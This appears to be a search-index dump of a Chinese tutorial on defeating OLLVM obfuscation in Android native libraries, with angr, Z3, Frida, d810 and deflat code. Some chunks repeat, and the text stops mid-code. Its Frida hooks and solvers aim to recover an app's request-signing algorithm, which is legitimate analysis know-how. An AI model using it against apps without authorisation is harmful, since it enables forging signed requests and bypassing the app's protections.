# 设置 Hook self.proj.hook(start_addr, block_hook, length=0) simgr = self.proj.factory.simulation_manager(state) simgr.run(n=max_steps) return executed_blocks def symbolic_execution_with_constraints(self, func_addr, target_output): \"\"\" 通过约束求解，找到产生特定输出的输入 适用于分析加密/签名算法 \"\"\" state = self.proj.factory.call_state(func_addr) # 创建符号化参数 sym_arg1 = claripy.BVS('arg1', 64) sym_arg2 = claripy.BVS('arg2', 64) # 设置函数参数 (x86_64 调用约定) state.regs.rdi = sym_arg1 state.regs.rsi = sym_arg2 simgr = self.proj.factory.simulation_manager(state) # 探索所有路径 simgr.run() # 在结束状态中查找满足输出约束的 for deadended in simgr.deadended: # 假设返回值在 rax deadended.solver.add(deadended.regs.rax == target_output) if deadended.solver.satisfiable(): arg1_val = deadended.solver.eval(sym_arg1) arg2_val = deadended.solver.eval(sym_arg2) print(f\"[+] 找到输入: arg1=0x{arg1_val:x}, arg2=0x{arg2_val:x}\") return (arg1_val, arg2_val) return None # 使用示例 def example_usage(): # 加载混淆的 SO 文件 deobf = OLLVMDeobfuscator(\"libencrypt.so\", base_addr=0x10000) # 构建 CFG deobf.build_cfg() # 查找分发器 dispatcher = deobf.find_dispatcher(0x12340) # 符号执行找到产生特定签名的输入 result = deobf.symbolic_execution_with_constraints( func_addr=0x12340, target_output=0xDEADBEEF ) 示例 3：控制流平坦化恢复 import angr from angr.analyses.decompiler.condition_processor import ConditionProcessor class CFGRecovery: \"\"\"恢复被 OLLVM 平坦化的控制流\"\"\" def __init__(self, proj, func_addr): self.proj = proj self.func_addr = func_addr self.state_var = None self.real_blocks = {} # state_value -\u003e block_addr self.transitions = {} # (from_state, to_state) def identify_state_variable(self, dispatcher_addr): \"\"\" 识别控制流平坦化的状态变量 状态变量特征： 1. 在分发器开头被加载 2. 用于 switch-case 比较 3. 在每个真实块末尾被更新 \"\"\" block = self.proj.factory.block(dispatcher_addr) # 分析 VEX IR 找到状态变量 for stmt in block.vex.statements: # 查找从内存加载的操作 if ha","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:6:2","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#安装-1"},{"categories":null,"collections":null,"content":"Angr：符号执行与控制流恢复 Angr 是一个强大的二进制分析框架，特别适合处理 OLLVM 的控制流平坦化。 安装 pip install angr 示例 1：基础符号执行 - 绕过简单混淆 import angr import claripy def simple_symbolic_execution(binary_path, target_addr, avoid_addrs=None): \"\"\" 使用符号执行找到到达目标地址的输入 Args: binary_path: SO 文件路径 target_addr: 目标地址（如解密函数返回点） avoid_addrs: 需要避开的地址列表（如错误处理分支） \"\"\" # 加载二进制文件 proj = angr.Project(binary_path, auto_load_libs=False) # 创建符号化的输入（假设输入是一个 32 字节的 buffer） sym_input = claripy.BVS('input', 32 * 8) # 创建初始状态 state = proj.factory.entry_state( args=[binary_path], stdin=angr.SimFile('/dev/stdin', content=sym_input) ) # 创建模拟管理器 simgr = proj.factory.simulation_manager(state) # 探索到目标地址 simgr.explore(find=target_addr, avoid=avoid_addrs or []) if simgr.found: found_state = simgr.found[0] # 获取满足条件的具体输入 solution = found_state.solver.eval(sym_input, cast_to=bytes) print(f\"[+] 找到有效输入: {solution.hex()}\") return solution else: print(\"[-] 未找到有效路径\") return None 示例 2：Hook 混淆函数，加速分析 import angr import claripy class OLLVMDeobfuscator: \"\"\"OLLVM 反混淆器 - 使用 Angr 符号执行\"\"\" def __init__(self, binary_path, base_addr=0x0): self.proj = angr.Project( binary_path, main_opts={'base_addr': base_addr}, auto_load_libs=False ) self.cfg = None def build_cfg(self): \"\"\"构建控制流图（用于分析混淆结构）\"\"\" print(\"[*] 正在构建 CFG...\") self.cfg = self.proj.analyses.CFGFast() print(f\"[+] CFG 构建完成: {len(self.cfg.graph.nodes())} 个节点\") return self.cfg def find_dispatcher(self, func_addr): \"\"\" 识别控制流平坦化的分发器 特征：大量的 case 分支，状态变量比较 \"\"\" func = self.cfg.functions.get(func_addr) if not func: return None # 找到入度最高的基本块（通常是分发器） max_in_degree = 0 dispatcher = None for block in func.blocks: in_degree = len(list(self.cfg.graph.predecessors(block))) if in_degree \u003e max_in_degree: max_in_degree = in_degree dispatcher = block if dispatcher and max_in_degree \u003e 5: print(f\"[+] 疑似分发器: 0x{dispatcher.addr:x} (入度: {max_in_degree})\") return dispatcher return None def trace_execution(self, start_addr, input_data, max_steps=10000): \"\"\" 符号执行追踪，记录真实执行的基本块 \"\"\" state = self.proj.factory.blank_state(addr=start_addr) # 设置符号化输入 sym_input = claripy.BVS('input', len(input_data) * 8) state.memory.store(state.regs.rdi, sym_input) # 假设第一个参数是输入 # 记录执行的基本块 executed_blocks = [] def block_hook(state): executed_blocks.append(state.addr) # 设置 Hook self.proj.hook(start_addr, block_hook, length=0) simgr = self.proj.factory.simulation_manager(state) simgr.run(n=max_steps) return executed_blocks def symbolic_execution_with_constraints(self, func_addr, target_output): \"\"\" 通过约束求解，找到产生特定输出的输入 适用于分析加密/签名算法 \"\"\" state = self.proj.factory.call_state(func_addr) # 创建符号化参数 sym_arg1 = claripy.BVS('arg1', 64) sym_arg2 = claripy.BVS('arg2', 64) # 设置函数参数 (x86_64 调用约定) state.regs.rdi = sym_arg1 state.regs.rsi = sym_arg2 simgr = self.proj.factory.simulation_manager(state) # 探索所有路径 simgr.run() # 在结束状态中查找满足输出约束的 for deadended in simgr.deadended: # 假设返回值在 rax deadended.solver.add(deadended.regs.rax == target_output) if deadended.solver.satisfiable(): arg1_val = deadended.solver.eval(sym_arg1) arg2_val = deadended.solver.eval(sym_arg2) print(f\"[+] 找到输入: arg1=0x{arg1_val:x}, arg2=0x{arg2_val:x}\") return (arg1_val, arg2_val) return None # 使用示例 def example_usage(): # 加载混淆的 SO 文件 deobf = OLLVMDeobfuscator(\"libencrypt.so\", base_addr=0x10000) # 构建 CFG deobf.build_cfg() # 查找分发器 dispatcher = deobf.find_dispatcher(0x12340) # 符号执行找到产生特定签名的输入 result = deobf.symbolic_execution_with_constraints( func_addr=0x12340, target_output=0xDEADBEEF ) 示例 3：控制流平坦化恢复 import angr from angr.analyses.decompiler.condition_processor import ConditionProcessor class CFGRecovery: \"\"\"恢复被 OLLVM 平坦化的控制流\"\"\" def __init__(self, proj, func_addr): self.proj = proj self.func_addr = func_addr self.state_var = None self.real_blocks = {} # state_value -\u003e block_addr self.transitions = {} # (from_state, to_state) def identify_state_variable(self, dispatcher_addr): \"\"\" 识别控制流平坦化的状态变量 状态变量特征： 1. 在分发器开头被加载 2. 用于 switch-case 比较 3. 在每个真实块末尾被更新 \"\"\" block = self.proj.factory.block(dispatcher_addr) # 分析 VEX IR 找到状态变量 for stmt in block.vex.statements: # 查找从内存加载的操作 if ha","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:6:2","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#示例-1基础符号执行---绕过简单混淆"},{"categories":null,"collections":null,"content":"Angr：符号执行与控制流恢复 Angr 是一个强大的二进制分析框架，特别适合处理 OLLVM 的控制流平坦化。 安装 pip install angr 示例 1：基础符号执行 - 绕过简单混淆 import angr import claripy def simple_symbolic_execution(binary_path, target_addr, avoid_addrs=None): \"\"\" 使用符号执行找到到达目标地址的输入 Args: binary_path: SO 文件路径 target_addr: 目标地址（如解密函数返回点） avoid_addrs: 需要避开的地址列表（如错误处理分支） \"\"\" # 加载二进制文件 proj = angr.Project(binary_path, auto_load_libs=False) # 创建符号化的输入（假设输入是一个 32 字节的 buffer） sym_input = claripy.BVS('input', 32 * 8) # 创建初始状态 state = proj.factory.entry_state( args=[binary_path], stdin=angr.SimFile('/dev/stdin', content=sym_input) ) # 创建模拟管理器 simgr = proj.factory.simulation_manager(state) # 探索到目标地址 simgr.explore(find=target_addr, avoid=avoid_addrs or []) if simgr.found: found_state = simgr.found[0] # 获取满足条件的具体输入 solution = found_state.solver.eval(sym_input, cast_to=bytes) print(f\"[+] 找到有效输入: {solution.hex()}\") return solution else: print(\"[-] 未找到有效路径\") return None 示例 2：Hook 混淆函数，加速分析 import angr import claripy class OLLVMDeobfuscator: \"\"\"OLLVM 反混淆器 - 使用 Angr 符号执行\"\"\" def __init__(self, binary_path, base_addr=0x0): self.proj = angr.Project( binary_path, main_opts={'base_addr': base_addr}, auto_load_libs=False ) self.cfg = None def build_cfg(self): \"\"\"构建控制流图（用于分析混淆结构）\"\"\" print(\"[*] 正在构建 CFG...\") self.cfg = self.proj.analyses.CFGFast() print(f\"[+] CFG 构建完成: {len(self.cfg.graph.nodes())} 个节点\") return self.cfg def find_dispatcher(self, func_addr): \"\"\" 识别控制流平坦化的分发器 特征：大量的 case 分支，状态变量比较 \"\"\" func = self.cfg.functions.get(func_addr) if not func: return None # 找到入度最高的基本块（通常是分发器） max_in_degree = 0 dispatcher = None for block in func.blocks: in_degree = len(list(self.cfg.graph.predecessors(block))) if in_degree \u003e max_in_degree: max_in_degree = in_degree dispatcher = block if dispatcher and max_in_degree \u003e 5: print(f\"[+] 疑似分发器: 0x{dispatcher.addr:x} (入度: {max_in_degree})\") return dispatcher return None def trace_execution(self, start_addr, input_data, max_steps=10000): \"\"\" 符号执行追踪，记录真实执行的基本块 \"\"\" state = self.proj.factory.blank_state(addr=start_addr) # 设置符号化输入 sym_input = claripy.BVS('input', len(input_data) * 8) state.memory.store(state.regs.rdi, sym_input) # 假设第一个参数是输入 # 记录执行的基本块 executed_blocks = [] def block_hook(state): executed_blocks.append(state.addr) # 设置 Hook self.proj.hook(start_addr, block_hook, length=0) simgr = self.proj.factory.simulation_manager(state) simgr.run(n=max_steps) return executed_blocks def symbolic_execution_with_constraints(self, func_addr, target_output): \"\"\" 通过约束求解，找到产生特定输出的输入 适用于分析加密/签名算法 \"\"\" state = self.proj.factory.call_state(func_addr) # 创建符号化参数 sym_arg1 = claripy.BVS('arg1', 64) sym_arg2 = claripy.BVS('arg2', 64) # 设置函数参数 (x86_64 调用约定) state.regs.rdi = sym_arg1 state.regs.rsi = sym_arg2 simgr = self.proj.factory.simulation_manager(state) # 探索所有路径 simgr.run() # 在结束状态中查找满足输出约束的 for deadended in simgr.deadended: # 假设返回值在 rax deadended.solver.add(deadended.regs.rax == target_output) if deadended.solver.satisfiable(): arg1_val = deadended.solver.eval(sym_arg1) arg2_val = deadended.solver.eval(sym_arg2) print(f\"[+] 找到输入: arg1=0x{arg1_val:x}, arg2=0x{arg2_val:x}\") return (arg1_val, arg2_val) return None # 使用示例 def example_usage(): # 加载混淆的 SO 文件 deobf = OLLVMDeobfuscator(\"libencrypt.so\", base_addr=0x10000) # 构建 CFG deobf.build_cfg() # 查找分发器 dispatcher = deobf.find_dispatcher(0x12340) # 符号执行找到产生特定签名的输入 result = deobf.symbolic_execution_with_constraints( func_addr=0x12340, target_output=0xDEADBEEF ) 示例 3：控制流平坦化恢复 import angr from angr.analyses.decompiler.condition_processor import ConditionProcessor class CFGRecovery: \"\"\"恢复被 OLLVM 平坦化的控制流\"\"\" def __init__(self, proj, func_addr): self.proj = proj self.func_addr = func_addr self.state_var = None self.real_blocks = {} # state_value -\u003e block_addr self.transitions = {} # (from_state, to_state) def identify_state_variable(self, dispatcher_addr): \"\"\" 识别控制流平坦化的状态变量 状态变量特征： 1. 在分发器开头被加载 2. 用于 switch-case 比较 3. 在每个真实块末尾被更新 \"\"\" block = self.proj.factory.block(dispatcher_addr) # 分析 VEX IR 找到状态变量 for stmt in block.vex.statements: # 查找从内存加载的操作 if ha","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:6:2","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#示例-2hook-混淆函数加速分析"},{"categories":null,"collections":null,"content":"Angr：符号执行与控制流恢复 Angr 是一个强大的二进制分析框架，特别适合处理 OLLVM 的控制流平坦化。 安装 pip install angr 示例 1：基础符号执行 - 绕过简单混淆 import angr import claripy def simple_symbolic_execution(binary_path, target_addr, avoid_addrs=None): \"\"\" 使用符号执行找到到达目标地址的输入 Args: binary_path: SO 文件路径 target_addr: 目标地址（如解密函数返回点） avoid_addrs: 需要避开的地址列表（如错误处理分支） \"\"\" # 加载二进制文件 proj = angr.Project(binary_path, auto_load_libs=False) # 创建符号化的输入（假设输入是一个 32 字节的 buffer） sym_input = claripy.BVS('input', 32 * 8) # 创建初始状态 state = proj.factory.entry_state( args=[binary_path], stdin=angr.SimFile('/dev/stdin', content=sym_input) ) # 创建模拟管理器 simgr = proj.factory.simulation_manager(state) # 探索到目标地址 simgr.explore(find=target_addr, avoid=avoid_addrs or []) if simgr.found: found_state = simgr.found[0] # 获取满足条件的具体输入 solution = found_state.solver.eval(sym_input, cast_to=bytes) print(f\"[+] 找到有效输入: {solution.hex()}\") return solution else: print(\"[-] 未找到有效路径\") return None 示例 2：Hook 混淆函数，加速分析 import angr import claripy class OLLVMDeobfuscator: \"\"\"OLLVM 反混淆器 - 使用 Angr 符号执行\"\"\" def __init__(self, binary_path, base_addr=0x0): self.proj = angr.Project( binary_path, main_opts={'base_addr': base_addr}, auto_load_libs=False ) self.cfg = None def build_cfg(self): \"\"\"构建控制流图（用于分析混淆结构）\"\"\" print(\"[*] 正在构建 CFG...\") self.cfg = self.proj.analyses.CFGFast() print(f\"[+] CFG 构建完成: {len(self.cfg.graph.nodes())} 个节点\") return self.cfg def find_dispatcher(self, func_addr): \"\"\" 识别控制流平坦化的分发器 特征：大量的 case 分支，状态变量比较 \"\"\" func = self.cfg.functions.get(func_addr) if not func: return None # 找到入度最高的基本块（通常是分发器） max_in_degree = 0 dispatcher = None for block in func.blocks: in_degree = len(list(self.cfg.graph.predecessors(block))) if in_degree \u003e max_in_degree: max_in_degree = in_degree dispatcher = block if dispatcher and max_in_degree \u003e 5: print(f\"[+] 疑似分发器: 0x{dispatcher.addr:x} (入度: {max_in_degree})\") return dispatcher return None def trace_execution(self, start_addr, input_data, max_steps=10000): \"\"\" 符号执行追踪，记录真实执行的基本块 \"\"\" state = self.proj.factory.blank_state(addr=start_addr) # 设置符号化输入 sym_input = claripy.BVS('input', len(input_data) * 8) state.memory.store(state.regs.rdi, sym_input) # 假设第一个参数是输入 # 记录执行的基本块 executed_blocks = [] def block_hook(state): executed_blocks.append(state.addr) # 设置 Hook self.proj.hook(start_addr, block_hook, length=0) simgr = self.proj.factory.simulation_manager(state) simgr.run(n=max_steps) return executed_blocks def symbolic_execution_with_constraints(self, func_addr, target_output): \"\"\" 通过约束求解，找到产生特定输出的输入 适用于分析加密/签名算法 \"\"\" state = self.proj.factory.call_state(func_addr) # 创建符号化参数 sym_arg1 = claripy.BVS('arg1', 64) sym_arg2 = claripy.BVS('arg2', 64) # 设置函数参数 (x86_64 调用约定) state.regs.rdi = sym_arg1 state.regs.rsi = sym_arg2 simgr = self.proj.factory.simulation_manager(state) # 探索所有路径 simgr.run() # 在结束状态中查找满足输出约束的 for deadended in simgr.deadended: # 假设返回值在 rax deadended.solver.add(deadended.regs.rax == target_output) if deadended.solver.satisfiable(): arg1_val = deadended.solver.eval(sym_arg1) arg2_val = deadended.solver.eval(sym_arg2) print(f\"[+] 找到输入: arg1=0x{arg1_val:x}, arg2=0x{arg2_val:x}\") return (arg1_val, arg2_val) return None # 使用示例 def example_usage(): # 加载混淆的 SO 文件 deobf = OLLVMDeobfuscator(\"libencrypt.so\", base_addr=0x10000) # 构建 CFG deobf.build_cfg() # 查找分发器 dispatcher = deobf.find_dispatcher(0x12340) # 符号执行找到产生特定签名的输入 result = deobf.symbolic_execution_with_constraints( func_addr=0x12340, target_output=0xDEADBEEF ) 示例 3：控制流平坦化恢复 import angr from angr.analyses.decompiler.condition_processor import ConditionProcessor class CFGRecovery: \"\"\"恢复被 OLLVM 平坦化的控制流\"\"\" def __init__(self, proj, func_addr): self.proj = proj self.func_addr = func_addr self.state_var = None self.real_blocks = {} # state_value -\u003e block_addr self.transitions = {} # (from_state, to_state) def identify_state_variable(self, dispatcher_addr): \"\"\" 识别控制流平坦化的状态变量 状态变量特征： 1. 在分发器开头被加载 2. 用于 switch-case 比较 3. 在每个真实块末尾被更新 \"\"\" block = self.proj.factory.block(dispatcher_addr) # 分析 VEX IR 找到状态变量 for stmt in block.vex.statements: # 查找从内存加载的操作 if ha","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:6:2","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#示例-3控制流平坦化恢复"},{"categories":null,"collections":null,"content":"实战案例：分析混淆的签名函数 💡 思路一句话: 先用 Frida hook 收集多组「输入→输出」样本 → 用 Z3 约束求解猜测算法结构（是否为线性变换）→ 猜不出则用 Angr 符号执行完整追踪 → 最后生成等价 Python 代码并验证。 适用场景: 你已经找到了签名函数的地址，但反编译结果被 OLLVM 混淆得面目全非，无法直接阅读。 前提条件: 已通过 Frida/Xposed 定位到 native 签名函数地址 能够触发签名函数被调用（比如发送网络请求） 有 root 设备或模拟器 操作流程概览: Step 1: Frida hook 签名函数 → 收集 3+ 组 (输入, 输出) 样本 Step 2: Z3 约束求解 → 假设算法结构，尝试推断密钥 Step 3: 如果 Z3 失败 → Angr 符号执行，追踪完整计算过程 Step 4: 根据追踪结果 → 生成等价 Python 代码 Step 5: 用收集的样本验证 → 确认还原正确性 Step 1: 用 Frida 收集输入输出样本 // collect_samples.js — 收集签名函数的输入输出 // 使用: frida -U -f com.example.app -l collect_samples.js --no-pause Java.perform(function() { // 方法 1: Hook Java 层签名方法 var SignHelper = Java.use(\"com.example.app.SignHelper\"); SignHelper.getSign.implementation = function(data) { var result = this.getSign(data); console.log(JSON.stringify({ input: data, output: result, input_hex: stringToHex(data), })); return result; }; // 方法 2: Hook Native 函数（如果已知偏移） var mod = Process.findModuleByName(\"libsign.so\"); if (mod) { // 假设函数接受 (char* data, int len) 返回 int Interceptor.attach(mod.base.add(0x1234), { onEnter: function(args) { this.input = args[0].readCString(); this.len = args[1].toInt32(); }, onLeave: function(retval) { console.log(\"[SAMPLE] input=\" + this.input + \" len=\" + this.len + \" output=0x\" + retval.toInt32().toString(16)); } }); } }); function stringToHex(str) { var hex = ''; for (var i = 0; i \u003c str.length; i++) { hex += str.charCodeAt(i).toString(16).padStart(2, '0'); } return hex; } # 运行收集脚本，然后在 App 中多次触发签名操作 frida -U -f com.example.app -l collect_samples.js --no-pause # 预期输出 (收集至少 3 组): # [SAMPLE] input=test1 len=5 output=0xAABBCCDD # [SAMPLE] input=test2 len=5 output=0x11223344 # [SAMPLE] input=a len=1 output=0xDEADBEEF 小白提示: 如何触发签名？大多数 App 在发送网络请求时会计算签名。打开 App → 刷新页面/搜索/登录 → 就会看到 Frida 打印的样本。多触发几次，尽量让输入不同。 以下是结合 Z3 和 Angr 分析的完整代码： import angr import claripy from z3 import * class SignatureAnalyzer: \"\"\"分析 OLLVM 混淆的签名算法\"\"\" def __init__(self, so_path, sign_func_offset): self.proj = angr.Project(so_path, auto_load_libs=False) self.sign_func = self.proj.loader.main_object.mapped_base + sign_func_offset def analyze_with_known_io(self, known_inputs, known_outputs): \"\"\" 使用已知的输入输出对来推断算法 Args: known_inputs: 已知输入列表 known_outputs: 对应的输出列表 \"\"\" # 使用 Z3 建立约束 solver = Solver() # 假设签名算法是 output = (input * key1 + key2) ^ key3 key1 = BitVec('key1', 32) key2 = BitVec('key2', 32) key3 = BitVec('key3', 32) for inp, out in zip(known_inputs, known_outputs): inp_bv = BitVecVal(inp, 32) out_bv = BitVecVal(out, 32) solver.add((inp_bv * key1 + key2) ^ key3 == out_bv) if solver.check() == sat: model = solver.model() print(f\"[+] 推断出密钥:\") print(f\" key1 = 0x{model[key1].as_long():08x}\") print(f\" key2 = 0x{model[key2].as_long():08x}\") print(f\" key3 = 0x{model[key3].as_long():08x}\") return model else: print(\"[-] 无法推断算法\") return None def symbolic_trace(self, input_value): \"\"\" 符号执行追踪签名函数 \"\"\" state = self.proj.factory.call_state( self.sign_func, input_value, # 第一个参数 0, # 第二个参数（如长度） ) # 记录所有的算术操作 operations = [] def track_operations(state): # 记录当前执行的指令 block = state.block() for insn in block.capstone.insns: if insn.mnemonic in ['xor', 'add', 'sub', 'mul', 'shl', 'shr', 'and', 'or']: operations.append({ 'addr': insn.address, 'op': insn.mnemonic, 'operands': insn.op_str }) simgr = self.proj.factory.simulation_manager(state) # 逐步执行并记录 while simgr.active: for s in simgr.active: track_operations(s) simgr.step() return operations def generate_equivalent_code(self, operations): \"\"\" 根据追踪结果生成等价的 Python 代码 \"\"\" code_lines = [\"def sign(input_val):\"] code_lines.append(\" result = input_val\") for op in operations: if op['op'] == 'xor': code_lines.append(f\" result ^= ... # @ 0x{op['addr']:x}\") elif op['op'] == 'add': code_lines.append(f\" result += ... # @ 0x{op['addr']:x}\") # ... 其他操作 code_lines.append(\" return result\") return '\\n'.join(code_lines) # 实战使用示例 def real_world_example(): \"\"\" 实战：分析某 App 的签名算法 \"\"\" # 1. 首先用 Frida 收集几组输入输出 known_data = [ (0x12345678, 0xAABBCCDD), (0x87654321, 0x11223344), (0x00000001, 0xDEADBEEF), ] # 2. 使用 Z3 推断可能的","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:6:3","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#实战案例分析混淆的签名函数"},{"categories":null,"collections":null,"content":"实战反混淆工具详解 本节详细介绍在 OLLVM 反混淆实战中最常用的工具及其使用方法，包括安装配置、核心原理和实际操作步骤。 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:7:0","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#实战反混淆工具详解"},{"categories":null,"collections":null,"content":"1. d810 - IDA Pro OLLVM 反混淆插件 d810 是目前最成熟的 IDA Pro OLLVM 反混淆插件之一。它基于 IDA 的 Microcode API，在编译器中间表示 (microcode) 层面进行优化和简化，而非直接操作汇编代码。这使得它能够更准确地识别和消除混淆模式。 安装步骤： # 克隆仓库 git clone https://github.com/joydo/d810 # 将 d810 目录复制到 IDA 插件目录 # macOS: ~/Library/Application Support/Hex-Rays/IDA Pro/plugins/ # Linux: ~/.idapro/plugins/ # Windows: %APPDATA%/Hex-Rays/IDA Pro/plugins/ cp -r d810 /path/to/ida/plugins/ 使用流程： 打开 IDA，加载目标 SO 文件 在菜单中选择 Edit → Plugins → D-810 在弹出的配置窗口中选择要启用的优化规则： MBA Simplification: 简化混合布尔算术表达式 Opaque Predicate Removal: 移除不透明谓词（恒真/恒假条件） Dead Code Elimination: 删除永远不会执行的代码路径 Constant Folding: 常量折叠优化 选择目标函数，点击 Start 开始反混淆 反混淆完成后重新查看反编译结果（按 F5） d810 架构原理： d810 工作在 IDA Microcode 的多个优化级别上。IDA 在反编译时会将汇编代码转换为一系列 microcode maturity level (从 MMAT_GENERATED 到 MMAT_LVARS)。d810 在适当的 maturity level 注册回调，在 microcode 被进一步优化前对其进行修改。 编写自定义规则示例： # d810 自定义规则: 简化 MBA 模式 (a \u0026 b) + (a | b) =\u003e a + b # 文件位置: d810/optimizers/custom_mba.py from d810.optimizers.flow import MicroCodeOptimizer from d810.tracker import MicroCodeTracker import ida_hexrays as hr class CustomMBASimplifier(MicroCodeOptimizer): \"\"\" 自定义 MBA 简化规则 匹配模式: (x \u0026 y) + (x | y) 替换为: x + y \"\"\" OPTIMIZER_NAME = \"Custom MBA: (x\u0026y)+(x|y) =\u003e x+y\" def check_candidate(self, blk, ins): \"\"\"检查当前指令是否匹配 MBA 模式\"\"\" # 匹配 ADD 指令 if ins.opcode != hr.m_add: return False left = ins.l # 左操作数 right = ins.r # 右操作数 # 检查左操作数是否为 AND 操作 if not self._is_insn(left, hr.m_and): return False # 检查右操作数是否为 OR 操作 if not self._is_insn(right, hr.m_or): return False # 获取 AND 和 OR 的操作数 and_left, and_right = self._get_operands(left) or_left, or_right = self._get_operands(right) # 检查操作数是否相同 (x\u0026y 和 x|y 中的 x,y 相同) if self._same_operands(and_left, or_left) and \\ self._same_operands(and_right, or_right): self.x = and_left self.y = and_right return True return False def apply_replacement(self, blk, ins): \"\"\"将匹配的 MBA 模式替换为简化形式\"\"\" # 替换为 x + y ins.opcode = hr.m_add ins.l = self.x ins.r = self.y return True # 更多自定义规则: (x ^ y) + 2*(x \u0026 y) =\u003e x + y class CustomMBASimplifier2(MicroCodeOptimizer): OPTIMIZER_NAME = \"Custom MBA: (x^y)+2*(x\u0026y) =\u003e x+y\" def check_candidate(self, blk, ins): if ins.opcode != hr.m_add: return False # 匹配 (x ^ y) + (x \u0026 y) \u003c\u003c 1 # 或 (x ^ y) + 2 * (x \u0026 y) # ... (匹配逻辑类似上述规则) return False ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:7:1","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#1-d810---ida-pro-ollvm-反混淆插件"},{"categories":null,"collections":null,"content":"2. deflat - 控制流平坦化自动还原 deflat 是基于 Angr 符号执行框架的控制流平坦化自动还原工具。它能够识别 OLLVM 平坦化的分发器结构，通过符号执行确定每个真实基本块的后继关系，并输出还原后的二进制。 安装步骤： # 克隆仓库 git clone https://github.com/cq674350529/deflat cd deflat # 安装依赖 (推荐使用虚拟环境) python -m venv venv source venv/bin/activate pip install angr 基本使用方法： # 反平坦化指定函数 # -f: 目标文件 # --addr: 目标函数的起始地址 python deflat.py -f libtarget.so --addr 0x1234 # 指定架构 (默认自动检测) python deflat.py -f libtarget.so --addr 0x1234 --arch arm64 工作原理： 识别分发器: 分析函数 CFG，找到入度最高的基本块（即所有真实块都会跳转回的分发器块） 识别状态变量: 在分发器块中找到用于 switch-case 比较的变量 提取真实块: 将所有非分发器、非序言的基本块识别为真实基本块 符号执行恢复转换: 对每个真实块进行符号执行，观察其执行后状态变量的值，从而确定后继块 重建 CFG: 根据恢复的转换关系 patch 二进制，将跳转目标从分发器改为直接的后继块 常见问题与解决方案： 问题 原因 解决方案 Symbolic execution timeout 函数过大或有复杂循环 增加超时时间 --timeout 600；减小分析范围 Cannot identify dispatcher 分发器结构非标准（如 Hikari 嵌套） 使用 --dispatcher 手动指定分发器地址 Path explosion 存在大量分支或循环 对已知的子函数设置 Hook 返回固定值 Unsupported architecture Angr 对特定架构支持不完整 确认 Angr 版本支持目标架构；考虑使用 Unicorn 替代 State variable not found 状态变量被进一步混淆 使用 --state-var 手动指定状态变量的地址或寄存器 ","date":"2024-11-05","objectID":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/:7:2","tags":["Native层","签名验证","逆向分析","Frida","OLLVM","加密分析"],"title":"OLLVM 反混淆","uri":"/reverse_engineering/android/01-recipes/analysis/ollvm_deobfuscation/#2-deflat---控制流平坦化自动还原"},{"categories":null,"collections":null,"content":"3. IDA Microcode API 反混淆 直接使用 IDA 的 Microcode API 可以实现高度定制化的反混淆逻辑。相比 d810 这样的插件，直接使用 API 可以更灵活地处理特定的混淆模式。 IDA Microcode 简介： IDA 在反编译（Hex-Rays）过程中会将汇编代码转换为多层 microcode 中间表示。每一层的表示逐渐接近高级语言，同时 IDA 会在各层进行不同的优化。我们可以在这些层注册自定义的优化回调来消除混淆。 完整反混淆示例： import ida_hexrays as hr import ida_funcs import idautils class OLLVMDeobfuscator(hr.optinsn_t): \"\"\" 使用 IDA Microcode API 在编译器中间表示层面去混淆 工作原理： 1. 注册为 Hex-Rays 的 microcode 优化回调 2. 在反编译过程中，遍历所有 microcode 指令 3. 识别混淆模式并替换为简化形式 \"\"\" def __init__(self): super().__init__() self.changes = 0 def func(self, blk, ins, optflags): \"\"\" 每条 microcode 指令都会触发此回调 返回值: 1 = 有修改, 0 = 无修改 \"\"\" result = 0 # 规则 1: MBA 简化 - (a \u0026 b) + (a | b) =\u003e a + b if self._simplify_mba_add(blk, ins): result = 1 # 规则 2: 不透明谓词消除 elif self._remove_opaque_predicate(blk, ins): result = 1 # 规则 3: 常量折叠 elif self._fold_constants(blk, ins): result = 1 if result: self.changes += 1 return result def _simplify_mba_add(self, blk, ins): \"\"\"简化 MBA 加法模式\"\"\" if ins.opcode != hr.m_add: return False # 检查是否是 (x \u0026 y) + (x | y) 模式 if ins.l.t != hr.mop_d or ins.r.t != hr.mop_d: return False left_ins = ins.l.d right_ins = ins.r.d if left_ins.opcode == hr.m_and and right_ins.opcode == hr.m_or: # 验证操作数匹配 if (left_ins.l.equal_mops(right_ins.l, hr.EQ_IGNSIZE) and left_ins.r.equal_mops(right_ins.r, hr.EQ_IGNSIZE)): # 替换为 x + y ins.l.swap(left_ins.l) ins.r.swap(left_ins.r) return True return False def _remove_opaque_predicate(self, blk, ins): \"\"\" 消除不透明谓词 检测恒真/恒假的条件跳转并简化 \"\"\" if ins.opcode != hr.m_jcnd: return False # 检查条件是否是已知的不透明谓词模式 cond = ins.l if cond.t == hr.mop_d: cond_ins = cond.d # 模式: 